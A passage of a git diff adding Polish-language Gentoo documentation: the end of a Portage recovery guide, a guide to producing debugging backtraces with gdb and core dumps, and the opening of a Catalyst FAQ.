+adresem.
+</note>
+
+</body>
+</section>
+<section>
+<title>Ściąganie paczki z portage</title>
+<body>
+
+<p>
+Po pierwsze musimy pobrać na dysk spakowane źródła aktualnej wersji Portage. W
+przykładach posłużymy się wersją <e>portage-2.1.1</e> (ponieważ jest ona
+stabilna w momencie pisania tego tekstu). Należy oczywiście zastąpić ją w
+poleceniach tą której się używa.
+</p>
+
+<warn>
+Jeśli zainstalowana wersja Pythona jest niższa niż 2.4 (sprawdza się to za
+pomocą <c>python -V</c>), należy wybrać wersję Portage która jest z nią
+kompatybilna. Jeśli Python jest w wersji co najmniej 2.3, należy użyć
+<e>portage-2.1.1.tar.bz2</e>. Dla Pythona 2.2 odpowiednia jest wersja
+<e>portage-2.0.51.22.tar.bz2</e>.
+</warn>
+
+<p>
+Czasem możliwe jest wykorzystanie portage do pobrania źródeł. Należy spróbować
+czy zadziała polecenie <c>emerge --fetchonly sys-apps/portage</c>. Jeśli nie
+działa, trzeba pobrać źródła ręcznie.
+</p>
+
+<pre caption="Pobieranie źródeł programem wget">
+# <i>wget -P /usr/portage/distfiles http://distfiles.gentoo.org/distfiles/portage-2.1.1.tar.bz2</i>
+</pre>
+
+<p>
+Po wykonaniu tego polecenia paczka ze źródłami zostanie zapisana jako
+<path>/usr/portage/distfiles/portage-2.1.1.tar.bz2</path>.
+</p>
+
+</body>
+</section>
+<section>
+<title>Zastępowanie zainstalowanej wersji</title>
+<body>
+
+<p>
+Następny krok to rozpakowanie paczki do tymczasowego katalogu, w przykładach tym
+katalogiem będzie <path>/root/portage-recover</path>.
+</p>
+
+<pre caption="Rozpakowywanie paczki">
+# <i>cd /root</i>
+# <i>mkdir portage-recover</i>
+# <i>cd portage-recover</i>
+# <i>tar xfj /usr/portage/distfiles/portage-2.1.1.tar.bz2</i>
+</pre>
+
+<p>
+Następnie należy zastąpić pliki basha i pythona z zepsutej zainstalowanej w
+systemie wersji tymi z paczki. W tym celu należy wpisać:
+</p>
+
+<pre caption="Zastępowanie plików">
+# <i>cd /root/portage-recover/portage-2.1.1</i>
+# <i>cp -R pym bin /usr/lib/portage/</i>
+</pre>
+
+<p>
+Jeśli nie używamy Gentoo na FreeBSD powinniśmy usunąć skrypt interfejsu sed
+ponieważ nie jest on już potrzebny, a dodatkowo może powodować problemy ze
+starszymi wersjami bash:
+</p>
+
+<pre caption="Usuwanie skryptu interfejsu sed">
+# <i>rm -f /usr/lib/portage/bin/sed</i>
+</pre>
+
+<note>
+Jeżeli przypadkowo odinstalowaliśmy wcześniej portage lub zgubiliśmy
+<path>/etc/make.globals</path> z innego powodu, należy skopiować również
+<path>cnf/make.globals</path> z powrotem do <path>/etc</path>, jeżeli nie
+zostanie to wykonane, portage może dziwnie się zachowywać.
+</note>
+
+<note>
+Jeśli poprzednia wersja Portage była niższa niż 2.1, należy wpisać <c>emerge
+--metadata</c> przed przejściem do następnego kroku. Dzięki temu metadata
+ebuildów zostanie przebudowana do nowego formatu używanego przez wersje Portage
+nowsze niż 2.1. Wpisanie tego polecenie nie spowoduje żadnych uszkodzeń także na
+nowszych wersjach Portage, więc jeśli nie jest się pewnym używanej wersji,
+należy je po prostu wpisać.
+</note>
+
+<p>
+Po wykonaniu tego polecenia portage powinno znów działać. Ostatnią czynnością
+jest wykonanie <c>emerge sys-apps/portage</c>.
+</p>
+
+<p>
+Jeśli pojawi się błąd <e>command not found</e> po uruchomieniu <c>emerge</c>
+należy poprawić dowiązanie symboliczne:
+</p>
+
+<pre caption="Poprawiania dowiązania do emerge">
+# <i>ln -s ../lib/portage/bin/emerge /usr/bin/emerge</i>
+</pre>
+
+<p>
+Jeśli powyższy proces nie rozwiązał problemu to najprawdopodobniej to nie
+portage jest zepsute tylko coś innego. Niestety nie należy to już do tematyki
+tego dokumentu. W takim wypadku radzimy zapoznać się z <uri
+link="/proj/pl/portage/doc/common-problems.xml">listą najczęstszych
+problemów</uri> lub poszukać pomocy na <uri
+link="http://bugs.gentoo.org">Bugzilli</uri>.
+</p>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/pl/qa/backtraces.xml b/xml/htdocs/proj/pl/qa/backtraces.xml
new file mode 100644
index 00000000..6d0c9cd6
--- /dev/null
+++ b/xml/htdocs/proj/pl/qa/backtraces.xml
@@ -0,0 +1,524 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "http://www.gentoo.org/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/pl/qa/backtraces.xml,v 1.1 2007/05/18 08:24:29 rane Exp $ -->
+
+<guide link="/proj/pl/qa/backtraces.xml" lang="pl">
+<title>Poprawne korzystanie ze śledzenia wstecznego w Gentoo</title>
+
+<author title="Autor">
+  <mail link="flameeyes@gentoo.org">Diego Pettenò</mail>
+</author>
+
+<author title="Informacje dot. Hardened">
+  <mail link="solar@gentoo.org">Ned Ludd</mail>
+</author>
+
+<author title="Informacje dot. Hardened i architektury x86">
+  <mail link="kevquinn@gentoo.org">Kevin Quinn</mail>
+</author>
+
+<author title="Redaktor">
+  <mail link="dberkholz@gentoo.org">Donnie Berkholz</mail>
+</author>
+
+<author title="Tłumacz">
+  <mail link="astralstorm@o2.pl">Radosław Szkodziński</mail>
+</author>
+
+<abstract>
+Ten poradnik ma na celu wyjaśnienie użytkownikom, dlaczego standardowa
+instalacja Gentoo nie dostarcza znaczących plików logowania śledzenia wstecznego
+oraz informuje, w jaki sposób można je uzyskać.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>0.7</version>
+<date>2006-12-02</date>
+
+<chapter> <!-- Introduction -->
+<title>Śledzenie wsteczne w Gentoo</title>
+
+<section>
+<title>Co to jest śledzenie wsteczne?</title>
+
+<body>
+
+<p>
+<e>Śledzenia wsteczne</e> (ang. backtrace), czasem również zwane bt, trace
+(śledzenie) lub stack trace (śledzenie stosu) jest zrozumiałym dla człowieka
+zapisem stosu wywołań programu. Podaje, w którym miejscu programu się znajdujemy
+oraz poprzez wywołania jakich funkcji został on osiągnięty -- w teorii aż do
+funkcji <path>main()</path>. Zapisy śledzenia wstecznego są z reguły
+analizowane, gdy błędy ochrony pamięci (ang. segmentation faults) lub awarie
+kończące się przerwaniem działania programu są sprawdzane debugerem, np.
+<c>gdb</c> (debuger GNU), w celu znalezienia ich przyczyny.
+</p>
+
+<p>
+Zrozumiały zapis zawiera nie tylko obiekty współdzielone (ang. shared objects),
+w których nastąpiło wywołanie, lecz również nazwę funkcji, pliku i linię kodu,
+gdzie program się zatrzymał. Niestety, śledzenie wsteczne jest bezużyteczne,
+jeśli system został zoptymalizowany dla wyższej wydajności i mniejszego zużycia
+miejsca na dysku. Podaje ono wtedy wyłącznie wskaźniki na stos oraz serię ??
+zamiast nazw i lokalizacji funkcji.
+</p>
+
+<p>
+Celem tego poradnika jest przedstawienie, w jaki sposób uzyskać przydatne,
+zrozumiałe pliki śledzenia wstecznego w Gentoo, korzystając z własności Portage.
+</p>
+
+</body>
+</section>
+
+<section> <!-- Compiler flags -->
+<title>Flagi kompilatora</title>
+
+<body>
+
+<p>
+Standardowo <c>gcc</c> nie wbudowuje informacji debugowania do budowanych plików
+obiektowych (bibliotek i programów), ponieważ to je powiększa. Również wiele
+opcji optymalizacji interferuje z zapisem informacji debugowania. Z tych
+powodów, w pierwszej kolejności zwrócimy uwagę na to, jak powinna być ustawiona
+zmienna CFLAGS, aby generować użyteczne informacje debugowania.
+</p>
+
+<p>
+Bazową flagą, którą należy dodać w tym przypadku, jest <c>-g</c>. Nakazuje ona
+kompilatorowi załączenie dodatkowych informacji w plikach obiektowych, takich
+jak nazwy plików i numery linii kodu. Zazwyczaj wystarcza to do uzyskania
+podstawowego zapisu śledzenia wstecznego, ale flaga <c>-ggdb</c> dodaje więcej
+informacji. W rzeczywistości istnieje też kolejna flaga (<c>-g3</c>), ale
+korzystanie z niej nie jest zalecane. Zdaje się uszkadzać zgodność binarną i
+może prowadzić do dodatkowych awarii. Na przykład, <path>glibc</path> ulega
+uszkodzeniu, jeśli jest budowane z tą flagą. Jeśli zamierzasz dostarczyć jak
+najwięcej informacji, powinieneś użyć flagi <c>-ggdb</c>.
+</p>
+
+<pre caption="Przykład zmiennej CFLAGS z flagami debugowania">
+CFLAGS="-march=k8 -O2 -ggdb"
+CXXFLAGS="${CFLAGS}"
+</pre>
+
+<p>
+Optymalizacje również muszą być stosowane z umiarem. Przykładowo, flaga
+<c>-O</c> służąca do włączania jednego ze standardowych poziomów optymalizacji
+musi być ustawiana rozważnie. Jeśli potrzeba naprawdę dokładnego zapisu, należy
+użyć flagi <c>-O1</c> (poziom optymalizacji 0 nie jest zalecany, gdyż znane są
+przypadki, gdy gcc generuje nieprawidłowy kod). Ale dla zwyczajnego śledzenia
+wstecznego, <c>-O2</c> i <c>-Os</c> również się nadają. Włączanie <c>-O3</c>
+dla debugowanego programu jest niemądre, ponieważ włącza dodatkowe
+optymalizacje, które uszkodzą informacje potrzebne do debugowania.
+</p>
+
+<p>
+Wiadomość dla użytkowników architektury x86: mają oni często flagę
+<c>-fomit-frame-pointer</c> w zmiennej CFLAGS. Architektura x86 dysponuje
+ograniczoną liczbą rejestrów ogólnego zastosowania, a ta flaga może uwolnić
+dodatkowy rejestr, poprawiając wydajność. Nic jednak za darmo: uniemożliwia ona
+<c>gdb</c> "przejście stosu" -- innymi słowy, wiarygodny zapis śledzenia
+wstecznego. Usuń tę flagę z CFLAGS, by zbudować kod łatwiejszy do zrozumienia
+przez <c>gdb</c>. Większość pozostałych platform nie ma się czego obawiać; albo
+nie ustawia się tam zazwyczaj <c>-fomit-frame-pointer</c>, albo kod generowany
+przez <c>gcc</c> nie przeszkadza <c>gdb</c> w pracy. (W tym przypadku flaga jest
+już włączona przez poziom optymalizacji <c>-O2</c>.)
+</p>
+
+<p>
+Użytkownicy Gentoo Hardened mają inne powody do zmartwień. <uri
+link="http://www.gentoo.org/proj/pl/hardened/hardenedfaq.xml#hardeneddebug">
+Często zadawane pytania projektu Hardened</uri> dostarczą im dodatkowych
+wskazówek.
+</p>
+
+</body>
+</section>
+<section> <!-- Stripping -->
+<title>Usuwanie symboli debugowania</title>
+<body>
+
+<p>
+Samo zmienienie CFLAGS i przeinstalowanie world i tak nie umożliwi przydatnego
+śledzenia wstecznego, ponieważ trzeba wyłączyć usuwanie symboli debugowania.
+Standardowo Portage usuwa je z plików wyjściowych. Innymi słowy, usuwa sekcje
+niepotrzebne do ich uruchamiania by zmniejszyć ich rozmiar. Jest to dobre dla
+przeciętnego użytkownika, który nie potrzebuje śledzenia wstecznego, ale
+usuwa wszystkie informacje debugowania generowane z pomocą flag <c>-g*</c>, jak
+również tablice symboli wykorzystywane do wyświetlania zapisu śledzenia
+wstecznego w postaci zrozumiałej dla człowieka.
+</p>
+
+<p>
+Istnieją dwa sposoby, aby powstrzymać usuwanie symboli przed utrudnianiem
+debugowania i generowania przydatnych zapisów śledzenia wstecznego. Pierwszy
+polega na nakazaniu Portage, by tego nie robiło, dodając <e>nostrip</e> do
+zmiennej FEATURES. Pozostawi to instalowane pliki w takiej postaci, w jakiej je
+stworzyło <c>gcc</c>, wraz ze wszystkimi informacjami debugowania i tablicami
+symboli, co zwiększy ilość miejsca na dysku zajmowanego przez pliki wykonywalne
+i biblioteki. Aby tego uniknąć, w wersji 2.0.54-r1 i serii 2.1 programu Portage,
+można zamiast tego dodać <e>splitdebug</e> do zmiennej FEATURES.
+</p>
+
+<p>
+Mając włączone <e>splitdebug</e>, Portage nadal będzie usuwało symbole z
+instalowanych plików wyjściowych. Ale zanim to zrobi, wszystkie przydatne
+informacje debugowania są kopiowane do pliku ".debug", który jest instalowany do
+katalogu <path>/usr/lib/debug</path> (pełna nazwa tego pliku jest tworzona przez
+dodanie tego rozszerzenia do nazwy instalowanego pliku wyjściowego). Położenie
+pliku ".debug" jest następnie zapisywane w oryginalnym pliku w sekcji
+".gnu_debuglink" formatu ELF, aby <c>gdb</c> mogło odczytać, z którego pliku
+ładować symbole.
+</p>
+
+<impo>
+Jeśli włączysz zarówno <e>nostrip</e> , jak też <e>splitdebug</e>, Portage nie
+będzie wcale usuwać symboli debugowania, o co nie do końca mogło się rozchodzić.
+</impo>
+
+<p>
+Kolejną zaletą opcji <e>splitdebug</e> jest brak potrzeby przebudowania pakietu,
+by się pozbyć informacji debugowania. Jest to przydatne, jeśli budujesz niektóre
+pakiety z flagami debugowania, aby uzyskać zapis śledzenia pojedynczego błędu.
+Kiedy zostanie on już naprawiony, wystarczy usunąć katalog
+<path>/usr/lib/debug</path>.
+</p>
+
+<p>
+Aby upewnić się, że symbole debugowania nie zostaną usunięte, trzeba sprawdzić,
+czy flaga <c>-s</c> nie jest ustawiona w zmiennej LDFLAGS. Nakazuje ona
+linkerowi usunąć symbole podczas fazy łączenia. Warto zauważyć, że korzystanie z
+tej flagi może prowadzić do dalszych problemów. Nie podlega ona ograniczeniu
+usuwania symboli ustawianym przez niektóre pakiety, które po tym zabiegu
+przestają działać.
+</p>
+
+<note>
+Niestety, niektóre pakiety same usuwają symbole, wewnątrz plików Makefile
+dołączonych przez autorów. Jest to błąd i powinien być zgłoszony. Wszystkie
+pakiety powinny pozostawiać w kwestii Portage usuwanie symboli lub całkowicie
+wyłączać tą funkcję. Głównym wyjątkiem są pakiety binarne. Z reguły są one
+pozbawione symboli przez autorów, całkowicie poza kontrolą Portage.
+</note>
+
+</body>
+
+</section>
+
+<section> <!-- Introducing gdb -->
+<title>Wprowadzenie do obsługi gdb</title>
+
+<body>
+
+<p>
+Kiedy pakiety zostały już zbudowane z informacjami debugowania, wystarczy tylko
+zapisać dane ze śledzenia wstecznego. Aby temu sprostać, trzeba zainstalować
+pakiet <path>sys-devel/gdb</path>. Zawiera on debuger GNU (<c>gdb</c>). Po jego
+instalacji, można kontynuować śledzenie wsteczne. Najprostszy sposób to
+uruchomienie programu wewnątrz <c>gdb</c>. Aby tak zrobić, trzeba podać
+<c>gdb</c> ścieżkę programu do uruchomienia, parametry, których on wymaga, a
+następnie nakazać wykonanie:
+</p>
+
+<pre caption="Wykonywanie ls poprzez gdb">
+$ <i>gdb /bin/ls</i>
+GNU gdb 6.4
+[...]
+
+(gdb) <i>set args /usr/share/fonts</i>
+(gdb) <i>run</i>
+Starting program: /bin/ls /usr/share/fonts
+[Thread debugging using libthread_db enabled]
+[New Thread 47467411020832 (LWP 11100)]
+100dpi  aquafont     baekmuk-fonts  cyrillic  dejavu     fonts.cache-1  kochi-substitute  misc  xdtv
+75dpi   arphicfonts  CID            default   encodings  fonts.dir      mikachan-font     util
+
+Program exited normally.
+(gdb)
+</pre>
+
+<p>
+Wiadomość "Program exited normally" (Program zakończył się normalnie) oznacza,
+że program zakończył wykonanie z kodem błędu 0. Jest to oznaką braku błędów. Nie
+należy na tym jednak za bardzo polegać, ponieważ występują programy wychodzące z
+takim kodem nawet, gdy wystąpi błąd. Kolejnym powszechnie występującym
+komunikatem jest "Program exited with code <e>nn</e>" (Program zakończył się
+kodem błędu <e>nn</e>). Podaje on po prostu, jaki niezerowy kod błędu został
+zwrócony. Może to oznaczać obsłużony lub spodziewany błąd. W przypadku błędów
+ochrony pamięci lub nieprzewidzianego przerwania, wyświetlona zostanie wiadomość
+"Program received signal SIG*" (Program odebrał sygnał SIG*).
+</p>
+
+<p>
+Program może odebrać sygnał z wielu różnych powodów. W przypadku SIGSEGV i
+SIGABRT (odpowiednio błędu ochrony pamięci i nieprzewidzianego przerwania),
+zazwyczaj oznacza, że program wykonuje niedozwoloną operację, np. nieprawidłowe
+wywołanie systemowe (ang. syscall) lub próbuje uzyskać dostęp do pamięci przez
+niepoprawny wskaźnik. Innymi powszechnymi sygnałami są SIGTERM, SIGQUIT oraz
+SIGINT (ten ostatni jest wynikiem naciśnięcia klawiszy CTRL-C, i zwykle jest
+przechwytywany przez <c>gdb</c> oraz ignorowany przez program).
+</p>
+
+<p>
+W końcu mamy też całą gamę "zdarzeń czasu rzeczywistego" (Real-Time events).
+Noszą one nazwy SIG<e>nn</e>, gdzie <e>nn</e> to liczba większa od 31.
+Biblioteka wątków pthread zazwyczaj korzysta z nich w celu synchronizacji między
+różnymi wątkami wykonania programu, zatem nie przedstawiają one sobą żadnego
+błędu. Łatwo można dostarczyć nic nieznaczący zapis śledzenia wstecznego myląc
+sygnały czasu rzeczywistego z wystąpieniem błędu. Aby temu zapobiec, można
+rozkazać <c>gdb</c>, by nie zatrzymywało wykonania, kiedy odbierze jeden z nich,
+lecz przekazało je do bezpośrednio do programu. Opisuje to poniższy przykład.
+</p>
+
+<pre caption="Uruchamianie xine-ui poprzez gdb, ignorując sygnały czasu
+rzeczywistego.">
+$ <i>gdb /usr/bin/xine</i>
+GNU gdb 6.4
+[...]
+
+(gdb) <i>run</i>
+Starting program: /usr/bin/xine
+[...]
+
+Program received signal SIG33, Real-time event 33.
+[Switching to Thread 1182845264 (LWP 11543)]
+0x00002b661d87d536 in pthread_cond_wait@@GLIBC_2.3.2 () from /lib/libpthread.so.0
+(gdb) <i>handle SIG33 nostop noprint noignore pass</i>
+Signal        Stop      Print   Pass to program Description
+SIG33         No        No      Yes             Real-time event 33
+(gdb) <i>kill</i>
+Kill the program being debugged? [Zatrzymać debugowany program?] (y or n) <i>y</i>
+(gdb) <i>run</i>
+</pre>
+
+<p>
+Polecenie <c>handle</c> powiadamia <c>gdb</c>, co ma robić, gdy dany sygnał
+został wysłany do programu; dostępne opcje to <c>nostop</c> (nie zatrzymuj
+programu, przekazując kontrolę debugerowi), <c>noprint</c> (nie wypisuj
+informacji o odebraniu danego sygnału), <c>noignore</c> (nie ignoruj sygnału --
+ignorowanie sygnałów jest niebezpieczne, ponieważ oznacza ich odrzucenie bez
+przekazania programowi), <c>pass</c> (przekaż sygnał debugowanemu programowi).
+</p>
+
+<p>
+Kiedy już możliwe zdarzenia czasu rzeczywistego będą ignorowane przez
+<c>gdb</c>, trzeba spróbować odtworzyć awarię, którą chcemy zgłosić. Jeśli
+występuje ona systematycznie, jest to dosyć proste. Gdy <c>gdb</c> powiadamia o
+otrzymaniu sygnału SIGSEGV lub SIGABRT (lub dowolnego innego mogącego
+oznaczać błąd programu), należy uruchomić śledzenie wsteczne, zapisując jego
+wynik w pliku. Podstawowym poleceniem do tego stosowanym jest <c>bt</c>, skrót
+od <c>backtrace</c>, co wyświetli zapis śledzenia wstecznego aktywnego wątku
+(program może być oczywiście jednowątkowy).
+</p>
+
+<p>
+Alternatywnym poleceniem, stosowanym w celu otrzymania bardziej szczegółowego
+zapisu, jest <c>bt full</c>. Dostarcza ono również informacji o parametrach i
+zmiennych lokalnych funkcji, które były wywołane przed awarią (jeśli te
+informacje są dostępne, a nie usunięte przez optymalizacje). Sprawia to, że
+zapis śledzenia wstecznego jest dłuższy, ale bardziej przydatny w celu wykrycia,
+np. dlaczego wskaźnik nie jest zainicjalizowany.
+</p>
+
+<p>
+Wreszcie, nawet proste programy nierzadko są napisane z zastosowaniem wielu
+wątków wykonania, co sprawia, że proste wyjście polecenia <c>bt</c>, mimo dużej
+liczby informacji, jest bezużyteczne, ponieważ może przekazać stan innego wątku
+niż ten, z którego został wysłany sygnał, lub w którym wystąpił błąd (jeśli inny
+wątek odpowiada za wysyłanie sygnałów). Z tego powodu należy zastosować dłuższe
+polecenie <c>thread apply all bt full</c>, które nakazuje wypisanie pełnego
+zapisu śledzenia wszystkich aktualnie uruchomionych wątków.
+</p>
+
+<p>
+Jeśli zapis śledzenia jest krótki, łatwo można go skopiować z terminala (chyba,
+że awaria występuje na komputerze bez X), ale czasami jest on zbyt długi,
+zajmując wiele stron. Aby uzyskać plik z zapisem śledzenia wstecznego, który
+następnie można dołączyć do raportu, można skorzystać z funkcji <c>logging</c>:
+</p>
+
+<pre caption="Zastosowanie polecenia logging w celu zapisania wyniku śledzenia
+wstecznego do pliku">
+$ <i>gdb /usr/bin/xine</i>
+GNU gdb 6.5
+[...]
+
+(gdb) <i>run</i>
+[...]
+
+(gdb) <i>set logging file backtrace.log</i>
+(gdb) <i>set logging on</i>
+Copying output to backtrace.log.
+(gdb) <i>bt</i>
+#0  0x0000003000eb7472 in __select_nocancel () from /lib/libc.so.6
+...
+(gdb) <i>set logging off</i>
+Done logging to backtrace.log.
+(gdb) <i>quit</i>
+</pre>
+
+<p>
+Teraz można znaleźć zapis w pliku <path>backtrace.log</path> i zwyczajnie wysłać
+go pocztą elektroniczną lub dołączyć do odpowiedniego raportu.
+</p>
+
+</body>
+</section>
+
+<section> <!-- Core dumps -->
+<title>Zrzuty pamięci</title>
+
+<body>
+
+<p>
+Czasami trudno odtworzyć awarie, program składa się z wielu wątków, za wolno
+jest wykonywany przez <c>gdb</c> lub popsuty podczas uruchamiania za jego
+pomocą. (nie powinno nikogo zaskoczyć, że przy uruchamianiu przez debuger
+występuje więcej problemów, niż bez niego). W takich przypadkach, mamy do
+dyspozycji przydatne narzędzie: plik zrzutu pamięci (ang. core dump).
+</p>
+
+<p>
+Plik zrzutu pamięci zawiera obraz całego obszaru pamięci dostępnego programowi w
+chwili awarii. Za pomocą tego pliku, można wydobyć zapis śledzenia stosu nawet
+jeśli program uległ defektowi poza <c>gdb</c>, zakładając, że zrzuty pamięci są
+włączone. Standardowo, nie są one aktywne w Gentoo Linux (lecz przeciwnie w
+<uri link="http://www.gentoo.org/proj/en/gentoo-alt/bsd/fbsd/">
+Gentoo/FreeBSD</uri>), więc trzeba je włączyć.
+</p>
+
+<p>
+Zapis zrzutów pamięci można włączyć dla całego systemu lub dla sesji powłoki. W
+pierwszym przypadku, cokolwiek w systemie ulegnie awarii i nie ma programu do
+ich obsługi (więcej informacji o programie obsługi awarii KDE dalej), dokona
+takiego zrzutu. Jeśli zostanie aktywowane dla sesji, tylko programy w niej
+uruchomione wygenerują plik zrzutu.
+</p>
+
+<p>
+By włączyć zrzuty pamięci dla całego systemu, trzeba zmodyfikować albo plik
+<path>/etc/security/limits.conf</path>, jeśli stosowana jest biblioteka PAM, jak
+jest w standardzie, albo <path>/etc/limits.conf</path>. W pierwszym przypadku,
+trzeba podać ograniczenie (twarde, lub częściej miękkie) rozmiaru pliku zrzutu.
+Może się on zawierać pomiędzy 0 i brakiem ograniczenia (ang. unlimited). W
+drugim przypadku, należy ustawić zmienną C na ograniczenie rozmiaru pliku zrzutu
+-- nie ma opcji jego braku.
+</p>
+
+<pre caption="Przykład reguły PAM pozwalającej na tworzenie plików zrzutu
+dowolnej wielkości">
+# /etc/security/limits.conf
+*             soft      core       0
+</pre>
+
+<pre caption="Przykład reguły pozwalającej na tworzenie plików zrzutu do 20MB --
+bez stosowania PAM">
+# /etc/limits.conf
+*       C20480
+</pre>
+
+<p>
+Aby włączyć zapisywanie zrzutów pamięci w danej sesji powłoki, można
+skorzystać z polecenia <c>ulimit</c> z opcją <c>-c</c>. 0 oznacza wyłączenie
+generowania; dowolna liczba dodatnia to maksymalny rozmiar tworzonego pliku
+zrzutu w KB, <e>unlimited</e> oznacza brak ograniczenia. Od tego momentu,
+wszystkie programy kończące wykonanie z powodu sygnału typu SIGABRT lub SIGSEGV
+będą pozostawiać pliki zrzutu nazwane "core" lub "core.<e>pid</e>" (gdzie pid to
+identyfikator procesu programu, który uległ awarii).
+</p>
+
+<pre caption="Przykład zastosowania polecenia ulimit">
+$ <i>ulimit -c unlimited</i>
+$ <i>awaryjny-program</i>
+[...]
+Abort (Core Dumped) [Przerwano (Utworzono plik zrzutu)]
+$
+</pre>
+
+<note>
+Polecenie <c>ulimit</c> to wewnętrzna komenda powłok bash i zsh. W innych może
+nazywać się inaczej lub nawet wcale nie być dostępna.
+</note>
+
+<p>
+Po otrzymaniu zrzutu pamięci, można uruchomić <c>gdb</c>, podając
+ścieżkę do programu, który wygenerował zrzut (musi to być dokładnie taki
+sam plik wykonywalny -- jeśli w międzyczasie go przebudujesz, zrzut jest
+bezużyteczny) oraz ścieżkę do pliku zrzutu. Kiedy już będzie otwarty w
+<c>gdb</c>, można postępować zgodnie z instrukcjami podanymi powyżej, jak z
+programem, który otrzymał sygnał zatrzymujący wykonanie.
+</p>
+
+<pre caption="Uruchamianie gdb z plikiem zrzutu pamięci">
+$ <i>gdb $(which awaryjny-program) --core core</i>
+</pre>
+
+<p>
+Alternatywnie, można zastosować opcje wiersza poleceń programu <c>gdb</c>, aby
+uzyskać zapis śledzenia wstecznego bez przejścia w tryb interaktywny. Ułatwia to
+zapisanie wyniku śledzenia do pliku lub przesłania go przez dowolny potok.
+Kluczowe są tu opcje <c>--batch</c> i <c>-e</c> akceptowane przez <c>gdb</c>.
+Można skorzystać z następujących funkcji bash, by otrzymać pełen zapis śledzenia
+wstecznego na bazie zrzutu pamięci (włącznie ze wszystkimi wątkami) na
+standardowym wyjściu.
+</p>
+
+<pre caption="Funkcja wypisująca pełen wynik śledzenia wstecznego na podstawie
+zrzutu pamięci">
+gdb_get_backtrace() {
+    local exe=$1
+    local core=$2
+
+    gdb ${exe} \
+        --core ${core} \
+        --batch \
+        --quiet \
+        -ex "thread apply all bt full" \
+        -ex "quit"
+}
+</pre>
+
+</body>
+
+</section>
+
+<section> <!-- KDE crash handler's notes -->
+<title>Informacje o programie obsługi awarii KDE</title>
+
+<body>
+
+<p>
+Aplikacje KDE są standardowo uruchamiane z własnym programem obsługi awarii,
+który przedstawia się użytkownikowi jako "Dr. Konqi", jeśli ten program jest
+zainstalowany (pakiet <path>kde-base/kdebase</path> lub
+<path>kde-base/drkonqi</path> -- zawarty w <path>kdebase-meta</path>). Ten
+program wyświetla okno informacyjne informujące o awarii programu. Można w nim
+znaleźć zakładkę "Śledzenie wsteczne", która wywołuje <c>gdb</c> przy otwarciu i
+automatycznie ładuje dane oraz generuje pełen zapis śledzenia wstecznego,
+wyświetlając go w głównym polu tekstowym i umożliwiając bezpośredni zapis do
+pliku. Jest on zwykle wystarczający do zgłoszenia problemu.
+</p>
+
+<p>
+Jeśli drkonqi nie jest zainstalowany, awarie nie będą generować zrzutu pamięci,
+a użytkownik nie otrzyma żadnej informacji. Aby tego uniknąć, można przekazać
+każdej z aplikacji KDE opcję wiersza poleceń <c>--nocrashhandler</c>. Wyłącza
+ona całkowicie program obsługi awarii i pozostawia obsługę sygnałów systemowi
+operacyjnemu. Jest to przydatne do generowania plików zrzutu pamięci, gdy
+drkonqi nie jest dostępny, lub w celu ręcznego przejrzenia stosu wywołania.
+</p>
+
+</body>
+
+</section>
+
+<!-- TODO
+     - add notes about GNOME's crash handler
+     - add notes about renaming core dump files
+-->
+
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/pl/releng/catalyst/faq.xml b/xml/htdocs/proj/pl/releng/catalyst/faq.xml
new file mode 100644
index 00000000..30ee663c
--- /dev/null
+++ b/xml/htdocs/proj/pl/releng/catalyst/faq.xml
@@ -0,0 +1,195 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/pl/releng/catalyst/faq.xml,v 1.3 2008/02/23 12:26:19 rane Exp $ -->
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<guide link="/proj/pl/releng/catalyst/faq.xml" lang="pl">
+
+<title>Catalyst FAQ</title>
+
+<author title="Autor">John P. Davis</author>
+<author title="Autor">Daniel Robbins</author>
+<author title="Współpracownik">William Kilian</author>
+<author title="Redaktor">Chris Gianelloni</author>
+<author title="Tłumaczenie">
+  <mail link="rafaeru@o2.pl">Rafał Stolarski</mail>
+</author>
+
+<abstract>
+Najczęściej zadawane pytania związane z programem Catalyst.
+</abstract>
+
+<version>1.1</version>
+<date>2008-02-05</date>
+
+<chapter>
+<title>Najczęściej zadawane pytania</title>
+<section>
+<title>Jak utworzyć tarballe stage2 i stage3 dla nietypowych procesorów, takich
+jak pentium4?</title>
+<body>
+
+<p>
+Po pierwsze, należy się upewnić, czy sprzęt na którym pracujemy odpowiada
+konfiguracji, na którą przygotowujemy stage.  Tworzenie stage dla
+<c>pentium4</c> musi zostać wykonane na systemie opartym o Pentium 4
+lubAMD64/Opteron (lub lepszym).  Nie jest możliwe utworzenie stage dla
+<c>pentium4</c> na systemie opartym o Athlon XP, jako że procesory Athlon XP nie
+wspierają instrukcji SSE2, dostępnych w stage dla <c>pentium4</c>. Podobnie
+rzecz ma się w przypadku, gdy chcemy budować system dla <c>g4</c>. Można tego
+dokonać jedynie na systemach wspierających PowerPC G4 lub G5.
+</p>
+<p>
+Gdy mamy pewność, że budujemy system na właściwym sprzęcie, można rozpocząć
+instalację, jednakże by zbudować system od stage2, należy wybrać stage z opcją
+<c>subarch</c> odpowiadającą  naszemu procesorowi (np. <c>pentium4</c>.) Tylko
+wtedy stage2 zostanie zbudowane dla wybranej przez nas wersji procesora.
+Następnie wykorzystujemy stage2 do budowy stage3. Oczywiście wybieramy stage3 z
+odpowiednią dla procesora opcją <c>subarch</c>, tak by pokrywała się ona z
+opcją stage2.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Jak zbudować system z wieloma stage'ami wpierającymi różnorodne
+procesory?</title>
+<body>
+
+<p>
+Na początku należy zbudować ogólny stage1. Następnie używamy utworzone
+stage1 do zbudowania konkretnych wersji stage2 i stage3.  Używamy stage1
+ponownie by utworzyć kolejne wyspecjalizowane wersje stage2 i stage3. Stage1
+nie musi być tworzone od nowa -- wszystkie zbudowane stage2 i stage3 mogą
+używać tego samego stage1 jako źródła.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Czy można zbudować stage1 dla nietypowej wersji procesora?</title>
+<body>
+
+<p>
